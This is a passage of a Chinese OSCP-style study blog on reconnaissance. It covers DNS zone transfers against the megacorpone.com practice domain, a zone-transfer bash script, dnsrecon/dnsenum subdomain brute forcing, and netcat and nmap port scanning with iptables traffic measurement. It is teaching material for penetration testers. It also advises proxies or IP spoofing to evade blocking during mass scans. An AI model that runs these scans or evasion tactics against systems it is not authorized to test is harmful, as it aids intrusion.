&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;176&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;177&lt;/span&gt;&lt;span class="cl"&gt; reverse&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;178&lt;/span&gt;&lt;span class="cl"&gt; process_reverse &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;179&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;180&lt;/span&gt;&lt;span class="cl"&gt; *&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;181&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;未知文件类型&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;182&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;183&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;184&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;185&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;32m分析完成!\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704154202241" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704154202241.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704154236432" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704154236432.png"&gt;&lt;/p&gt;
&lt;h3 id="区域传输"&gt;区域传输
&lt;/h3&gt;&lt;p&gt;DNS区域传输基本上是相关DNS服务器之间的数据库复制，其中区域文件从主DNS服务器复制到从DNS服务器。区域文件包含所有DNS的列表为该区域配置的名称。区域传输应该只允许授权的从DNS但是许多管理员错误地配置了他们的DNS服务器，在这些情况下，任何人都问DNS服务器区域通常会收到一个副本。这相当于把公司的网络布局放在硬盘上交给黑客。所有的名字，服务器的地址和功能可能会暴露在窥探者的视线之下。成功的区域传输不会直接导致网络破坏，尽管它确实有助于这个过程（主要是信息泄露）。执行分区传输的host命令语法如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;host -l megacorpone.com ns1.megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704161024103" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704161024103.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704161118966" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704161118966.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到ns2是有区域传输漏洞的。&lt;/p&gt;
&lt;p&gt;此服务器允许区域传输，并提供区域文件的完整转储megacorpone.com域名，提供方便的IP地址列表和相应的DNS主机名!
megacorpone.com域需要检查的DNS服务器非常少。然而，一些较大的组织可能托管许多DNS服务器，或者我们可能想要尝试区域传输请求针对给定域中的所有DNS服务器。Bash脚本可以帮助完成这项任务。要尝试使用host命令进行区域传输，我们需要两个参数：名称服务器地址和域名。我们可以使用以下命令获取给定域的名称服务器命令:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;host -t ns megacorpone.com &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Simple Zone Transfer Bash Script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# $1 is the first argument given after the bash script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Check if argument was given, if not, print usage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] Simple Zone transfer script&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] Usage : &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; &amp;lt;domain name&amp;gt; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# if argument was given, identify the DNS servers for the domain&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; server in &lt;span class="k"&gt;$(&lt;/span&gt;host -t ns &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f4&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# For each of these servers, attempt a zone transfer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; host -l &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="nv"&gt;$server&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;grep &lt;span class="s2"&gt;&amp;#34;has address&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704161503372" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704161503372.png"&gt;&lt;/p&gt;
&lt;h3 id="kali自带的dns枚举工具"&gt;Kali自带的DNS枚举工具
&lt;/h3&gt;&lt;h4 id="dnsrecon"&gt;DNSrecon
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install dnsrecon -y
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;dnsrecon -h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;dnsrecon -d megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;dnsrecon -d megacorpone.com -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt &lt;span class="c1"&gt;# 子域名暴力破解&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;dnsrecon -r 167.114.21.0-167.114.21.255 &lt;span class="c1"&gt;# 反向爆破&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;dnsrecon -d megacorpone.com -t axfr &lt;span class="c1"&gt;# 区域传送漏洞检测&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704155104574" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704155104574.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704155333382" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704155333382.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704155750077" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704155750077.png"&gt;&lt;/p&gt;
&lt;h4 id="dnsenum"&gt;DNSenum
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;dnsenum zonetransfer.me
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;dnsenum -f /usr/share/wordlists/dnsmap.txt megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;dnsenum -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704161853778" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704161853778.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704161932638" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704161932638.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704162035353" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704162035353.png"&gt;&lt;/p&gt;
&lt;h3 id="7163练习"&gt;7.1.6.3练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;查找megacorpone.com域的DNS服务器。&lt;/li&gt;
&lt;li&gt;编写一个小脚本，尝试使用更高级别从megacorpone.com进行区域传输，脚本语言，如Python、Perl或Ruby。&lt;/li&gt;
&lt;li&gt;重新创建上面的示例，并使用dnsrecon尝试从megacorpone.com。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="2改写小脚本"&gt;2.改写小脚本
&lt;/h4&gt;&lt;p&gt;完整脚本可以关注我公众号后台回复关键字领取。&lt;/p&gt;
&lt;p&gt;python使用示例：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 基本用法
python3 subdomain_finder.py megacorpone.com

# 自定义字典和输出
python3 subdomain_finder.py megacorpone.com \
 -w custom.txt \
 -o results.csv
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250704164742029" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704164742029.png"&gt;&lt;/p&gt;
&lt;h2 id="端口扫描"&gt;端口扫描
&lt;/h2&gt;&lt;p&gt;端口扫描是检查远程计算机上的TCP或UDP端口的过程，目的是检测目标上正在运行的服务以及可能存在的潜在攻击媒介。&lt;/p&gt;
&lt;p&gt;在一些网络基础设施落后的国家，简单的扫描就有可能导致网站崩溃（DDOS），所以一些国家将扫描视为违法行为。在中国大多数云服务器都能抗住普通扫描的流量。&lt;/p&gt;
&lt;h3 id="tcpudp扫描使用nc"&gt;TCP/UDP扫描使用NC
&lt;/h3&gt;&lt;h4 id="tcp扫描"&gt;TCP扫描
&lt;/h4&gt;&lt;p&gt;最简单的TCP端口扫描技术通常称为CONNECT扫描，它依赖于三向TCP握手195机制。设计此机制是为了使两个尝试进行通信的主机可以在传输任何数据之前协商网络TCP套接字连接的参数。在没有专门的扫描工具的时候，也可以使用Netcat来改造一下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nc -nv -w &lt;span class="m"&gt;1&lt;/span&gt; -z 192.168.1.1 3388-3390
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; sudo tshark -i eth0 -f &lt;span class="s2"&gt;&amp;#34;tcp portrange 3388-3390&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250706211802190" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706211802190.png"&gt;&lt;/p&gt;
&lt;h4 id="udp扫描"&gt;UDP扫描
&lt;/h4&gt;&lt;p&gt;由于UDP是无状态的，并且不涉及三向握手，因此UDP端口扫描的机制不同于TCP。udp是无状态尽力传输协议，没有三次握手机制，使用针对协议的udp扫描提高准确度，发送udp空包，端口开放服务器无响应，端口关闭返回icmp端口不可达。此机制扫描结果不完全准确，但是很多攻击向量（应用处理异常，FW过滤icmp包），而且nc很小，主要是在内网收到限制的时候使用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -nv -u -z -w &lt;span class="m"&gt;1&lt;/span&gt; 192.168.1.1 160-162
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo tshark -i eth0 -f &lt;span class="s2"&gt;&amp;#34;udp portrange 160-162&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250706212138123" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706212138123.png"&gt;&lt;/p&gt;
&lt;h3 id="nmap端口扫描"&gt;Nmap端口扫描
&lt;/h3&gt;&lt;p&gt;虽然Nmap扫描功能很强大，但是很多的nmap扫描选项需要访问 raw sockets，因此需要sudo执行，否则扫描能力受限。很多防火墙都对Nmap做了限制。&lt;/p&gt;
&lt;p&gt;对防火墙设置一些规则，来观察Nmap产生的流量有多大。&lt;/p&gt;
&lt;h4 id="步骤-1设置防火墙规则允许特定-ip-通行"&gt;&lt;strong&gt;步骤 1：设置防火墙规则（允许特定 IP 通行）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo iptables -I INPUT 1 -s 38.100.193.70 -j ACCEPT
sudo iptables -I OUTPUT 1 -d 38.100.193.70 -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;作用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;允许来自 &lt;code&gt;38.100.193.70&lt;/code&gt; 的入站流量（&lt;code&gt;INPUT&lt;/code&gt; 链）。&lt;/li&gt;
&lt;li&gt;允许发送到 &lt;code&gt;38.100.193.70&lt;/code&gt; 的出站流量（&lt;code&gt;OUTPUT&lt;/code&gt; 链）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;：确保后续 &lt;code&gt;nmap&lt;/code&gt; 扫描不会被防火墙拦截，同时防火墙会记录流量统计。注意 &lt;code&gt;38.100.193.70&lt;/code&gt; 是OSCP官方给的练手网站的IP地址，这个IP是会变动的，请根据host的结果调整。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-2重置防火墙计数器"&gt;&lt;strong&gt;步骤 2：重置防火墙计数器&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo iptables -Z
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：清零所有 &lt;code&gt;iptables&lt;/code&gt; 规则的流量计数器（包数 &lt;code&gt;pkts&lt;/code&gt; 和字节数 &lt;code&gt;bytes&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：为后续扫描流量统计做准备，确保计数从零开始。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-3执行第一次端口扫描默认扫描"&gt;&lt;strong&gt;步骤 3：执行第一次端口扫描（默认扫描）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：扫描目标 IP 的 &lt;strong&gt;常用 1000 个端口&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：触发与目标 IP 的网络通信，防火墙会记录流量。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-4查看流量统计第一次"&gt;&lt;strong&gt;步骤 4：查看流量统计（第一次）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo iptables -vn -L
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;作用：查看防火墙规则详情：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt;：显示详细计数（包数、字节数）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-n&lt;/code&gt;：不解析 IP 和端口（直接显示数字）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250706215252658" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706215252658.png"&gt;&lt;/p&gt;
&lt;h4 id="步骤-5再次重置计数器"&gt;&lt;strong&gt;步骤 5：再次重置计数器&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo iptables -Z
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：为第二次扫描准备干净的计数起点。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-6执行第二次端口扫描全端口扫描"&gt;&lt;strong&gt;步骤 6：执行第二次端口扫描（全端口扫描）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -p- 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：扫描目标 IP 的 &lt;strong&gt;全端口（1-65535）&lt;/strong&gt;，此操作耗时较长（约 10-30 分钟）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：触发更大规模的流量，对比两次扫描的流量差异。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-7查看最终流量统计"&gt;&lt;strong&gt;步骤 7：查看最终流量统计&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo iptables -vn -L
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：显示第二次扫描后的流量统计。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;目的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;比较 &lt;code&gt;pkts&lt;/code&gt; 和 &lt;code&gt;bytes&lt;/code&gt; 与第一次扫描的差异（全端口扫描的流量更大）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;验证防火墙规则是否正确捕获流量。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250706222130905" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706222130905.png"&gt;&lt;/p&gt;
&lt;h4 id="结束后清理规则"&gt;&lt;strong&gt;结束后清理规则&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 删除添加的规则（避免影响后续操作）
sudo iptables -D INPUT -s 38.100.193.70 -j ACCEPT
sudo iptables -D OUTPUT -d 38.100.193.70 -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;C段全端口扫描大约消耗1gb流量，大段扫描的时候应该考虑带宽、速度、流量等问题。如果大量的去扫，还没有挂代理池的情况下，你短时间目标防火墙接搜到一个G的流量，百分百会反制封锁你的IP地址。一般扫描，最好挂代理，或者IP伪造（治标不治本），在这种情况下才可以做大量的暴力扫描，不然很容易出事。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250706220047856" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706220047856.png"&gt;&lt;/p&gt;
&lt;h3 id="nmap的syn隐蔽扫描"&gt;Nmap的SYN“隐蔽”扫描
&lt;/h3&gt;&lt;p&gt;Nmap默认使用SYN扫描，不完成三次握手，信息未达应用层，不产生应用层日志（网络层检测），快速。现代防火墙普遍具有半开连接的检测能力，所谓的隐蔽扫描，一点都不隐蔽，反倒是对小白有误导。&lt;/p&gt;
&lt;h4 id="1-什么是-syn-扫描--ss"&gt;1. 什么是 SYN 扫描 (&lt;code&gt;-sS&lt;/code&gt;)?
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;TCP 连接建立基础：&lt;/p&gt;
&lt;p&gt;正常的 TCP 连接需要完成“三次握手”：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;客户端 -&amp;gt; 服务器：发送 &lt;code&gt;SYN&lt;/code&gt; 包 (请求建立连接)&lt;/li&gt;
&lt;li&gt;服务器 -&amp;gt; 客户端：发送 &lt;code&gt;SYN-ACK&lt;/code&gt; 包 (同意建立连接)&lt;/li&gt;
&lt;li&gt;客户端 -&amp;gt; 服务器：发送 &lt;code&gt;ACK&lt;/code&gt; 包 (确认连接建立，数据可开始传输)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SYN 扫描的原理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nmap 扮演客户端，向目标端口发送一个伪造源地址的 &lt;code&gt;SYN&lt;/code&gt; 包 (第 1 步)。&lt;/li&gt;
&lt;li&gt;如果目标端口 &lt;strong&gt;开放&lt;/strong&gt;：目标主机会回应一个 &lt;code&gt;SYN-ACK&lt;/code&gt; 包 (第 2 步)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键点来了&lt;/strong&gt;：Nmap 看到 &lt;code&gt;SYN-ACK&lt;/code&gt; 回应后，&lt;strong&gt;不会发送完成握手的 &lt;code&gt;ACK&lt;/code&gt; 包 (第 3 步)&lt;/strong&gt;！相反，它发送一个 &lt;code&gt;RST&lt;/code&gt; (复位) 包来立即终止这个半开的连接。&lt;/li&gt;
&lt;li&gt;如果目标端口 &lt;strong&gt;关闭&lt;/strong&gt;：目标主机会回应一个 &lt;code&gt;RST&lt;/code&gt; 包。&lt;/li&gt;
&lt;li&gt;如果目标端口 &lt;strong&gt;被过滤&lt;/strong&gt;（防火墙拦截）：Nmap 通常收不到任何回应，或者收到 ICMP 错误消息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为何在应用层“隐蔽”：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;由于 Nmap 没有发送最后的 &lt;code&gt;ACK&lt;/code&gt; 来完成握手，&lt;strong&gt;TCP 连接从未真正建立&lt;/strong&gt;。&lt;/li&gt;
